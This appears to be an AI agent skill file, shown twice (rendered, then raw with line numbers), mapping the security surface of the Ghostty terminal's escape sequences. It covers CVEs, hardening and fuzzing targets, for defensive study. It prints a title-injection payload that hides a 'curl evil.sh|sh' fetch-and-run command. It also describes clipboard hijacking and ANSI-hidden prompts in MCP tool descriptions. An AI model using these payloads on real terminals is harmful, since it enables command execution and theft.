Modding Ghostty
Defensive security map of Ghostty's VT/OSC escape sequence surface. Covers what each sequence visibly modifies on screen, invisible state mutations, stdin injection vectors, and parser DFA traversability toward undesired states.
Trigger Conditions
- Analyzing terminal escape sequence security
- Auditing libghostty or apps built on it (cmux, etc.)
- Fuzzing VT parsers / OSC handlers
- Understanding what escape sequences change on the user's screen
- Building terminal-aware security tools
Architecture: libghostty VT Parser
Raw Bytes -> UTF8Decoder -> Parser (DFA) -> Stream -> Actions
|
State Machine
(14 states, compile-time table)
Key files in ghostty-org/ghostty:
src/terminal/Parser.zig # State machine (14 states)
src/terminal/stream.zig # Stream wrapper + SIMD
src/terminal/osc.zig # OSC parser (2048-byte fixed buffer)
src/terminal/dcs.zig # DCS handler (1MB limit)
src/terminal/parse_table.zig # Compile-time transition table
src/simd/vt.zig # SIMD acceleration
Visual Effects Map: What Each OSC Changes On Screen
+---------------------------------------------------------------------+
| * * * Terminal Window Title (OSC 0, 1, 2) - [] X |
+---------------------------------------------------------------------+
| |
| Tab Bar: [ ~/projects v ] [ SSH: server ] [ vim ] |
| ^^^^^^^^^^^^^^^^ |
| OSC 7 sets this OSC 2 sets tab title |
| (working directory) |
| |
+--- Terminal Content Area -------------------------------------------|
| |
| $ cat README.md |
| |
| This is normal text <-- ground state: just prints codepoints |
| |
| ==================== <-- OSC 4/10/11 change THESE colors: |
| = foreground on ba = <-- 10 = text color |
| = ckground colors = <-- 11 = background } you see the |
| ==================== <-- 12 = cursor color } palette shift |
| 4 = palette[0-255] instantly |
| |
| Click here for docs <-- OSC 8 hyperlink: UNDERLINED text, |
| ~~~~~~~~~~~~~~~~~~ cursor becomes pointer on hover |
| (OSC 22 changes pointer shape too) |
| |
| $ echo "copied!" |
| +------------------+ |
| | CLIPBOARD | <-- OSC 52 write: you see NOTHING on |
| | (invisible) | screen. It silently changes what |
| | "malicious addr" | Cmd+V pastes next. No visual cue. |
| +------------------+ |
| |
| $ pwd |
| /Users/alice/projects <-- OSC 7: NOTHING changes in content area. |
| But tab/title bar updates, and |
| "New Tab" will open HERE |
| |
| $ _ <-- OSC 12 changed cursor to this color |
| ^cursor |
| |
+--- What's INVISIBLE (the dangerous part) ---------------------------|
| |
| OSC 52 READ --> ? sent to terminal |
| terminal writes clipboard contents |
| BACK INTO STDIN (as if you typed it) |
| +------------------------------------+ |
| | $ rgb:ff/ff/ff | < color |
| | $ secret-api-key-from-clipboard | < clipboard|
| | $ My Private Window Title | < title |
| +------------------------------------+ |
| YOU SEE THESE APPEAR AS IF YOU TYPED THEM |
| (the "response injection" class of attacks) |
| |
| CSI 21t --> Reports title back as keystrokes |
| DECRQSS --> Reports settings back as keystrokes |
| OSC 10-12? --> Reports colors back as keystrokes |
| |
+---------------------------------------------------------------------+
Visibility Matrix
VISIBLE INVISIBLE INVISIBLE
ON SCREEN BUT MODIFIES STDIN INJECTION
(you notice) STATE (most dangerous)
--------------- -------------- ----------------
OSC 0 (icon+title) title bar Y
OSC 1 (icon) (unimplemented)
OSC 2 (title) title bar Y
OSC 4 (palette) colors shift Y
OSC 7 (cwd) tab label,
new-tab path
OSC 8 (hyperlink) underline Y,
hover cursor Y
OSC 9 (notification) system notif Y
OSC 10 (fg color) text recolors Y
OSC 11 (bg color) bg recolors Y
OSC 12 (cursor color) cursor recolors Y
OSC 22 (pointer) mouse cursor Y
OSC 52 (clipboard) clipboard read -> stdin
contents
OSC 4? (query) rgb:xx/xx -> stdin
OSC 10-12? (query) rgb:xx/xx -> stdin
CSI 21t (title report) title -> stdin
DECRQSS (DCS query) settings -> stdin
OSC Sequences Ranked by Traversability to Undesired States
Tier 1: Surprisingly Traversable (High developer-surprise factor)
| # |
Sequence |
Undesired State |
Why Surprising |
| 1 |
OSC 8 (Hyperlinks) |
Arbitrary code execution on click |
No URI scheme validation. file:///path/to/binary passed directly to NSWorkspace.open() / xdg-open. Missing scheme = file path on macOS. CVE-2024-38396 (iTerm2), CVE-2025-43929 (kitty). |
| 2 |
OSC 52 (Clipboard read) |
Silent clipboard exfiltration |
Default ask but "Remember" button permanently downgrades to allow. No rate limiting. Once allowed, any program polls clipboard forever. |
| 3 |
OSC 2 + CSI 21t (Title set + report) |
Command injection into shell |
CVE-2003-0063 (xterm 2003), CVE-2024-56803 (Ghostty 1.0.0 release day). Parser correct; policy of echoing title to PTY stdin is the flaw. |
Tier 2: Parser-Level State Machine Risks
| # |
Sequence |
Undesired State |
Mechanism |
| 4 |
Unterminated OSC (any) |
Parser stuck in osc_string |
Fixed 2048-byte buffer catches most, but OSC 52/66 with allocator has no hard memory limit. |
| 5 |
C1 control codes (0x80-0x9F) |
Incorrect state transition |
0x9D=OSC, 0x9B=CSI, 0x90=DCS as single bytes. Bypasses naive filters. UTF-8 mode must not treat these as C1. |
| 6 |
Truncated OSC (e.g. \033]1) |
Integer overflow crash |
Issue #8007: osc.Parser.reset() called ArrayList.deinit without valid allocator. Fixed in 1.2.0. |
| 7 |
SOS/PM/APC passthrough |
Untested state paths |
Share DFA structure with DCS/OSC but rarely exercised. Least-tested code. |
Tier 3: Handler-Layer Policy Risks
| # |
Sequence |
Undesired State |
Mechanism |
| 8 |
OSC 7 (Working directory) |
Path spoofing |
"localhost" always passes isLocal(). Any program sets reported CWD. New tab opens in spoofed directory. |
| 9 |
OSC 52 (Clipboard write) |
Clipboard hijacking |
Default allow. Any program silently overwrites clipboard. Crypto address replacement. |
| 10 |
OSC 4/10-19 (Color query) |
Information leakage |
Responses reveal terminal theme. Feeds fingerprinting. |
| 11 |
DCS DECRQSS |
Response injection |
CVE-2008-2383 (xterm), CVE-2022-45872 (iTerm2 CVSS 9.8). |
Tier 4: Delivery-Layer Amplifiers
| # |
Vector |
Effect |
| 12 |
Log file escape injection |
cat access.log triggers any of the above. CVE-2009-4487. |
| 13 |
npm/pip output injection |
Package metadata with escape sequences. |
| 14 |
MCP tool description injection |
ANSI in tool descriptions hides malicious prompts (Trail of Bits 2025). |
Parser DFA Safety Properties
What's Well-Designed
.invalid is a proper sink state: Once buffer overflows, all bytes discarded until reset. end() returns null.
- No re-entrancy: One byte at a time via
Parser.next(). No callbacks or recursive parsing.
- State isolation: ESC inside
dcs_passthrough or osc_string is treated as data, NOT an escape initiator (except via "anywhere" transitions for ESC -> escape state from osc_string).
- Reset on entry:
osc_parser.reset() called on every transition into osc_string. No stale state leaks.
- CAN/SUB abort:
0x18 (CAN) or 0x1A (SUB) abort any sequence from any state -> ground.
What's Risky
- OSC 52/66 allocating writer: No hard memory limit when allocator provided. Multi-GB base64 payload could exhaust memory.
- OSC 8 URI handling: No scheme allowlist. Arbitrary URIs passed to system opener.
file://, ssh://, tel:, custom schemes all honored.
- "Remember" button on clipboard ask dialog: Single click permanently downgrades
ask -> allow for session.
- No rate limiting on any response-generating sequence: OSC 52 read, color queries, title report (when enabled) can be spammed.
The Classic Attack Pattern
WHAT YOU SEE WHAT ACTUALLY HAPPENS
--------------- -----------------------
$ cat file.txt file.txt contains:
Hello world Hello world
Segmentation fault \e]2;curl evil.sh|sh\a <- set title
(core dumped) \e[21t <- report title
$ \e[8m <- HIDE TEXT
^^^ now "curl evil.sh|sh"
appears on your stdin
as if you typed it
You see "Segfault" and The injected command is
press Enter thinking invisible (\e[8m = hidden)
it's waiting for input -> SHELL EXECUTES: curl evil.sh|sh
Ghostty-Specific CVEs
| CVE |
Version |
Severity |
Description |
Fix |
| CVE-2024-56803 |
< 1.0.1 |
Medium (5.1) |
Title reporting (CSI 21t) enabled by default. Classic title injection RCE. |
Disabled title reporting by default. |
| GHSA-q9fg-cpmh-c78x |
< 1.2.0 |
Medium |
Privilege escalation when launched by other apps (inherits Full Disk Access). |
App-level permission scoping. |
| Issue #8007 |
< 1.2.0 |
Medium |
Truncated OSC causes integer overflow in osc.Parser.reset() via ArrayList.deinit without valid allocator. |
Conditional deinit when alloc non-null. |
Configuration Hardening
# ghostty config (~/.config/ghostty/config)
# Disable title reporting (default since 1.0.1)
title-report = false
# Require confirmation for clipboard reads
clipboard-read = ask
# Consider requiring confirmation for clipboard writes too
clipboard-write = ask
# OSC 52 is the main clipboard vector
# These are the only knobs available
Fuzzing Targets (for defensive testing)
Priority targets for property-based testing / fuzzing:
- OSC parser with allocator: Feed multi-MB base64 to OSC 52 path
- C1 control codes in UTF-8 mode: Bytes 0x80-0x9F should NOT trigger state transitions
- Rapid sequence interleaving: ESC mid-OSC, CAN mid-DCS, nested attempts
- OSC 8 URI content: Long URIs, null bytes, embedded escapes, scheme-less paths
- Truncated sequences at every parse state: Especially
osc_string -> reset() path
- SOS/PM/APC: Rarely-tested passthrough states sharing DFA structure
Key References
Related Skills
libghostty-vt: Parser DFA details and API
reverse-engineering: Binary analysis of compiled parser
fuzzing-obstacles: Overcoming coverage plateaus in VT parser fuzzing
property-based-testing: Generating adversarial escape sequences
variant-analysis: Finding CVE variants across terminal emulators
insecure-defaults: Detecting fail-open config (clipboard-write=allow)
sandbox-escape-detector: Testing terminal sandbox boundaries
entry-point-analyzer: Mapping handler entry points from parser actions
bisimulation-game: Comparing parser behavior across terminal implementations
obstruction-learning: Detecting H0 obstructions in state machine coverage
bifurcation: State machine bifurcation points where behavior qualitatively changes
stability: Lyapunov analysis of parser state invariants
invariant-set: Sets preserved by the parser DFA flow
phase-space-transformation: Coordinate changes in parser state space
constant-time-analysis: Timing side-channels in parser processing
cryptographic-audit: OSC 52 clipboard data handling, TLS in terminal contexts
attractor: Fixed points and limit cycles in parser state machine
GF(3) Assignment
Trit: -1 (MINUS) - Validator/constrainer
Hue: 210 (blue - cold, defensive analysis)
Triads:
modding-ghostty (-1) x libghostty-vt (+1) x bisimulation-game (0) = 0
modding-ghostty (-1) x attractor (+1) x phase-space-transformation (0) = 0
1---2name: modding-ghostty3description: Defensive security map of Ghostty terminal escape sequences. VT/OSC attack surface, stdin injection vectors, parser DFA analysis, CVE catalog. Triggers: ghostty security, escape sequence, terminal hardening, VT parser, OSC.4---56# Modding Ghostty78Defensive security map of Ghostty's VT/OSC escape sequence surface. Covers what each sequence visibly modifies on screen, invisible state mutations, stdin injection vectors, and parser DFA traversability toward undesired states.910## Trigger Conditions1112- Analyzing terminal escape sequence security13- Auditing libghostty or apps built on it (cmux, etc.)14- Fuzzing VT parsers / OSC handlers15- Understanding what escape sequences change on the user's screen16- Building terminal-aware security tools1718## Architecture: libghostty VT Parser1920```21Raw Bytes -> UTF8Decoder -> Parser (DFA) -> Stream -> Actions22 |23 State Machine24 (14 states, compile-time table)25```2627Key files in ghostty-org/ghostty:28```29src/terminal/Parser.zig # State machine (14 states)30src/terminal/stream.zig # Stream wrapper + SIMD31src/terminal/osc.zig # OSC parser (2048-byte fixed buffer)32src/terminal/dcs.zig # DCS handler (1MB limit)33src/terminal/parse_table.zig # Compile-time transition table34src/simd/vt.zig # SIMD acceleration35```3637## Visual Effects Map: What Each OSC Changes On Screen3839```40+---------------------------------------------------------------------+41| * * * Terminal Window Title (OSC 0, 1, 2) - [] X |42+---------------------------------------------------------------------+43| |44| Tab Bar: [ ~/projects v ] [ SSH: server ] [ vim ] |45| ^^^^^^^^^^^^^^^^ |46| OSC 7 sets this OSC 2 sets tab title |47| (working directory) |48| |49+--- Terminal Content Area -------------------------------------------|50| |51| $ cat README.md |52| |53| This is normal text <-- ground state: just prints codepoints |54| |55| ==================== <-- OSC 4/10/11 change THESE colors: |56| = foreground on ba = <-- 10 = text color |57| = ckground colors = <-- 11 = background } you see the |58| ==================== <-- 12 = cursor color } palette shift |59| 4 = palette[0-255] instantly |60| |61| Click here for docs <-- OSC 8 hyperlink: UNDERLINED text, |62| ~~~~~~~~~~~~~~~~~~ cursor becomes pointer on hover |63| (OSC 22 changes pointer shape too) |64| |65| $ echo "copied!" |66| +------------------+ |67| | CLIPBOARD | <-- OSC 52 write: you see NOTHING on |68| | (invisible) | screen. It silently changes what |69| | "malicious addr" | Cmd+V pastes next. No visual cue. |70| +------------------+ |71| |72| $ pwd |73| /Users/alice/projects <-- OSC 7: NOTHING changes in content area. |74| But tab/title bar updates, and |75| "New Tab" will open HERE |76| |77| $ _ <-- OSC 12 changed cursor to this color |78| ^cursor |79| |80+--- What's INVISIBLE (the dangerous part) ---------------------------|81| |82| OSC 52 READ --> ? sent to terminal |83| terminal writes clipboard contents |84| BACK INTO STDIN (as if you typed it) |85| +------------------------------------+ |86| | $ rgb:ff/ff/ff | < color |87| | $ secret-api-key-from-clipboard | < clipboard|88| | $ My Private Window Title | < title |89| +------------------------------------+ |90| YOU SEE THESE APPEAR AS IF YOU TYPED THEM |91| (the "response injection" class of attacks) |92| |93| CSI 21t --> Reports title back as keystrokes |94| DECRQSS --> Reports settings back as keystrokes |95| OSC 10-12? --> Reports colors back as keystrokes |96| |97+---------------------------------------------------------------------+98```99100## Visibility Matrix101102```103 VISIBLE INVISIBLE INVISIBLE104 ON SCREEN BUT MODIFIES STDIN INJECTION105 (you notice) STATE (most dangerous)106 --------------- -------------- ----------------107 OSC 0 (icon+title) title bar Y108 OSC 1 (icon) (unimplemented)109 OSC 2 (title) title bar Y110 OSC 4 (palette) colors shift Y111 OSC 7 (cwd) tab label,112 new-tab path113 OSC 8 (hyperlink) underline Y,114 hover cursor Y115 OSC 9 (notification) system notif Y116 OSC 10 (fg color) text recolors Y117 OSC 11 (bg color) bg recolors Y118 OSC 12 (cursor color) cursor recolors Y119 OSC 22 (pointer) mouse cursor Y120 OSC 52 (clipboard) clipboard read -> stdin121 contents122 OSC 4? (query) rgb:xx/xx -> stdin123 OSC 10-12? (query) rgb:xx/xx -> stdin124 CSI 21t (title report) title -> stdin125 DECRQSS (DCS query) settings -> stdin126```127128## OSC Sequences Ranked by Traversability to Undesired States129130### Tier 1: Surprisingly Traversable (High developer-surprise factor)131132| # | Sequence | Undesired State | Why Surprising |133|---|----------|----------------|----------------|134| 1 | **OSC 8** (Hyperlinks) | Arbitrary code execution on click | No URI scheme validation. `file:///path/to/binary` passed directly to `NSWorkspace.open()` / `xdg-open`. Missing scheme = file path on macOS. CVE-2024-38396 (iTerm2), CVE-2025-43929 (kitty). |135| 2 | **OSC 52** (Clipboard read) | Silent clipboard exfiltration | Default `ask` but "Remember" button permanently downgrades to `allow`. No rate limiting. Once allowed, any program polls clipboard forever. |136| 3 | **OSC 2 + CSI 21t** (Title set + report) | Command injection into shell | CVE-2003-0063 (xterm 2003), CVE-2024-56803 (Ghostty 1.0.0 release day). Parser correct; policy of echoing title to PTY stdin is the flaw. |137138### Tier 2: Parser-Level State Machine Risks139140| # | Sequence | Undesired State | Mechanism |141|---|----------|----------------|-----------|142| 4 | Unterminated OSC (any) | Parser stuck in `osc_string` | Fixed 2048-byte buffer catches most, but OSC 52/66 with allocator has no hard memory limit. |143| 5 | C1 control codes (0x80-0x9F) | Incorrect state transition | `0x9D`=OSC, `0x9B`=CSI, `0x90`=DCS as single bytes. Bypasses naive filters. UTF-8 mode must not treat these as C1. |144| 6 | Truncated OSC (e.g. `\033]1`) | Integer overflow crash | Issue #8007: `osc.Parser.reset()` called `ArrayList.deinit` without valid allocator. Fixed in 1.2.0. |145| 7 | SOS/PM/APC passthrough | Untested state paths | Share DFA structure with DCS/OSC but rarely exercised. Least-tested code. |146147### Tier 3: Handler-Layer Policy Risks148149| # | Sequence | Undesired State | Mechanism |150|---|----------|----------------|-----------|151| 8 | OSC 7 (Working directory) | Path spoofing | `"localhost"` always passes `isLocal()`. Any program sets reported CWD. New tab opens in spoofed directory. |152| 9 | OSC 52 (Clipboard write) | Clipboard hijacking | Default `allow`. Any program silently overwrites clipboard. Crypto address replacement. |153| 10 | OSC 4/10-19 (Color query) | Information leakage | Responses reveal terminal theme. Feeds fingerprinting. |154| 11 | DCS DECRQSS | Response injection | CVE-2008-2383 (xterm), CVE-2022-45872 (iTerm2 CVSS 9.8). |155156### Tier 4: Delivery-Layer Amplifiers157158| # | Vector | Effect |159|---|--------|--------|160| 12 | Log file escape injection | `cat access.log` triggers any of the above. CVE-2009-4487. |161| 13 | npm/pip output injection | Package metadata with escape sequences. |162| 14 | MCP tool description injection | ANSI in tool descriptions hides malicious prompts (Trail of Bits 2025). |163164## Parser DFA Safety Properties165166### What's Well-Designed167168- **`.invalid` is a proper sink state**: Once buffer overflows, all bytes discarded until reset. `end()` returns `null`.169- **No re-entrancy**: One byte at a time via `Parser.next()`. No callbacks or recursive parsing.170- **State isolation**: ESC inside `dcs_passthrough` or `osc_string` is treated as data, NOT an escape initiator (except via "anywhere" transitions for ESC -> `escape` state from `osc_string`).171- **Reset on entry**: `osc_parser.reset()` called on every transition into `osc_string`. No stale state leaks.172- **CAN/SUB abort**: `0x18` (CAN) or `0x1A` (SUB) abort any sequence from any state -> `ground`.173174### What's Risky175176- **OSC 52/66 allocating writer**: No hard memory limit when allocator provided. Multi-GB base64 payload could exhaust memory.177- **OSC 8 URI handling**: No scheme allowlist. Arbitrary URIs passed to system opener. `file://`, `ssh://`, `tel:`, custom schemes all honored.178- **"Remember" button on clipboard ask dialog**: Single click permanently downgrades `ask` -> `allow` for session.179- **No rate limiting on any response-generating sequence**: OSC 52 read, color queries, title report (when enabled) can be spammed.180181## The Classic Attack Pattern182183```184 WHAT YOU SEE WHAT ACTUALLY HAPPENS185 --------------- -----------------------186187 $ cat file.txt file.txt contains:188 Hello world Hello world189 Segmentation fault \e]2;curl evil.sh|sh\a <- set title190 (core dumped) \e[21t <- report title191 $ \e[8m <- HIDE TEXT192 ^^^ now "curl evil.sh|sh"193 appears on your stdin194 as if you typed it195196 You see "Segfault" and The injected command is197 press Enter thinking invisible (\e[8m = hidden)198 it's waiting for input -> SHELL EXECUTES: curl evil.sh|sh199```200201## Ghostty-Specific CVEs202203| CVE | Version | Severity | Description | Fix |204|-----|---------|----------|-------------|-----|205| CVE-2024-56803 | < 1.0.1 | Medium (5.1) | Title reporting (CSI 21t) enabled by default. Classic title injection RCE. | Disabled title reporting by default. |206| GHSA-q9fg-cpmh-c78x | < 1.2.0 | Medium | Privilege escalation when launched by other apps (inherits Full Disk Access). | App-level permission scoping. |207| Issue #8007 | < 1.2.0 | Medium | Truncated OSC causes integer overflow in `osc.Parser.reset()` via `ArrayList.deinit` without valid allocator. | Conditional deinit when alloc non-null. |208209## Configuration Hardening210211```ini212# ghostty config (~/.config/ghostty/config)213214# Disable title reporting (default since 1.0.1)215title-report = false216217# Require confirmation for clipboard reads218clipboard-read = ask219220# Consider requiring confirmation for clipboard writes too221clipboard-write = ask222223# OSC 52 is the main clipboard vector224# These are the only knobs available225```226227## Fuzzing Targets (for defensive testing)228229Priority targets for property-based testing / fuzzing:2302311. **OSC parser with allocator**: Feed multi-MB base64 to OSC 52 path2322. **C1 control codes in UTF-8 mode**: Bytes 0x80-0x9F should NOT trigger state transitions2333. **Rapid sequence interleaving**: ESC mid-OSC, CAN mid-DCS, nested attempts2344. **OSC 8 URI content**: Long URIs, null bytes, embedded escapes, scheme-less paths2355. **Truncated sequences at every parse state**: Especially `osc_string` -> `reset()` path2366. **SOS/PM/APC**: Rarely-tested passthrough states sharing DFA structure237238## Key References239240- David Leadbeater (dgl), "[31m"?! ANSI Terminal security in 2023 -- https://dgl.cx/2023/09/ansi-terminal-security241- David Leadbeater, Ghostty CVE-2024-56803 -- https://dgl.cx/2024/12/ghostty-terminal-title242- Julia Evans, Standards for ANSI escape codes (2025) -- https://jvns.ca/blog/2025/03/07/escape-code-standards/243- Trail of Bits, ANSI terminal codes in MCP (2025) -- https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/244- solid-snail, iTerm2 RCE -- https://blog.solidsnail.com/posts/2023-08-28-iterm2-rce245- vt100.net DFA specification -- https://vt100.net/emu/dec_ansi_parser246- Ghostty VT reference -- https://ghostty.org/docs/vt/reference247- Mitchell Hashimoto, libghostty announcement -- https://mitchellh.com/writing/libghostty-is-coming248249## Related Skills250251- `libghostty-vt`: Parser DFA details and API252- `reverse-engineering`: Binary analysis of compiled parser253- `fuzzing-obstacles`: Overcoming coverage plateaus in VT parser fuzzing254- `property-based-testing`: Generating adversarial escape sequences255- `variant-analysis`: Finding CVE variants across terminal emulators256- `insecure-defaults`: Detecting fail-open config (clipboard-write=allow)257- `sandbox-escape-detector`: Testing terminal sandbox boundaries258- `entry-point-analyzer`: Mapping handler entry points from parser actions259- `bisimulation-game`: Comparing parser behavior across terminal implementations260- `obstruction-learning`: Detecting H0 obstructions in state machine coverage261- `bifurcation`: State machine bifurcation points where behavior qualitatively changes262- `stability`: Lyapunov analysis of parser state invariants263- `invariant-set`: Sets preserved by the parser DFA flow264- `phase-space-transformation`: Coordinate changes in parser state space265- `constant-time-analysis`: Timing side-channels in parser processing266- `cryptographic-audit`: OSC 52 clipboard data handling, TLS in terminal contexts267- `attractor`: Fixed points and limit cycles in parser state machine268269## GF(3) Assignment270271```272Trit: -1 (MINUS) - Validator/constrainer273Hue: 210 (blue - cold, defensive analysis)274```275276Triads:277- `modding-ghostty (-1)` x `libghostty-vt (+1)` x `bisimulation-game (0)` = 0278- `modding-ghostty (-1)` x `attractor (+1)` x `phase-space-transformation (0)` = 0